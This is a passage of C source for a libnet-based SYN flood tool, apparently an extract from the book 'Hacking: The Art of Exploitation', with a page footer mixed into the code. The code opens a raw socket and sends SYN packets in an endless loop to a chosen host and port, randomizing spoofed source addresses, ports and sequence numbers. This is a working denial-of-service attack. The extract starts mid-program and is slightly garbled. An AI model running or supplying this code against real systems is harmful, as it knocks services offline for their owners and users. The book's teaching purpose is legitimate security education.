hacking-the-art-of-exploitation

dest_ip = libnet_name_resolve(argv[1], LIBNET_RESOLVE); // The host
dest_port = (u_short) atoi(argv[2]); // The port
network = libnet_open_raw_sock(IPPROTO_RAW); // Open network interface.
if (network == -1)
libnet_error(LIBNET_ERR_FATAL, "can't open network interface. -- this program must run
as root.\n");
libnet_init_packet(packet_size, &packet); // Allocate memory for packet.
if (packet == NULL)
libnet_error(LIBNET_ERR_FATAL, "can't initialize packet memory.\n");
libnet_seed_prand(); // Seed the random number generator.
printf("SYN Flooding port %d of %s..\n", dest_port, print_ip(&dest_ip));
while(1) // loop forever (until break by CTRL-C)
{
libnet_build_ip(LIBNET_TCP_H, // Size of the packet sans IP header.
IPTOS_LOWDELAY,
// IP tos
libnet_get_prand(LIBNET_PRu16), // IP ID (randomized)
0, // Frag stuff
libnet_get_prand(LIBNET_PR8), // TTL (randomized)
IPPROTO_TCP,
// Transport protocol
libnet_get_prand(LIBNET_PRu32), // Source IP (randomized)
dest_ip,
// Destination IP
NULL,
// Payload (none)
0, // Payload length
packet);
// Packet header memory
libnet_build_tcp(libnet_get_prand(LIBNET_PRu16), // Source TCP port (random)
dest_port,
// Destination TCP port
libnet_get_prand(LIBNET_PRu32), // Sequence number (randomized)
libnet_get_prand(LIBNET_PRu32), // Acknowledgement number (randomized)
TH_SYN,
// Control flags (SYN flag set only)
libnet_get_prand(LIBNET_PRu16), // Window size (randomized)
0, // Urgent pointer
NULL,
// Payload (none)
0, // Payload length
packet + LIBNET_IP_H);
// Packet header memory
if (libnet_do_checksum(packet, IPPROTO_TCP, LIBNET_TCP_H) == -1)
libnet_error(LIBNET_ERR_FATAL, "can't compute checksum\n");
byte_count = libnet_write_ip(network, packet, packet_size); // Inject packet.
if (byte_count < packet_size)
libnet_error(LIBNET_ERR_WARNING, "Warning: Incomplete packet written. (%d of %d
bytes)", byte_count, packet_size);
}
usleep(FLOOD_DELAY); // Wait for FLOOD_DELAY milliseconds.
libnet_destroy_packet(&packet); // Free packet memory.
if (libnet_close_raw_sock(network) == -1) // Close the network interface.
Networking 253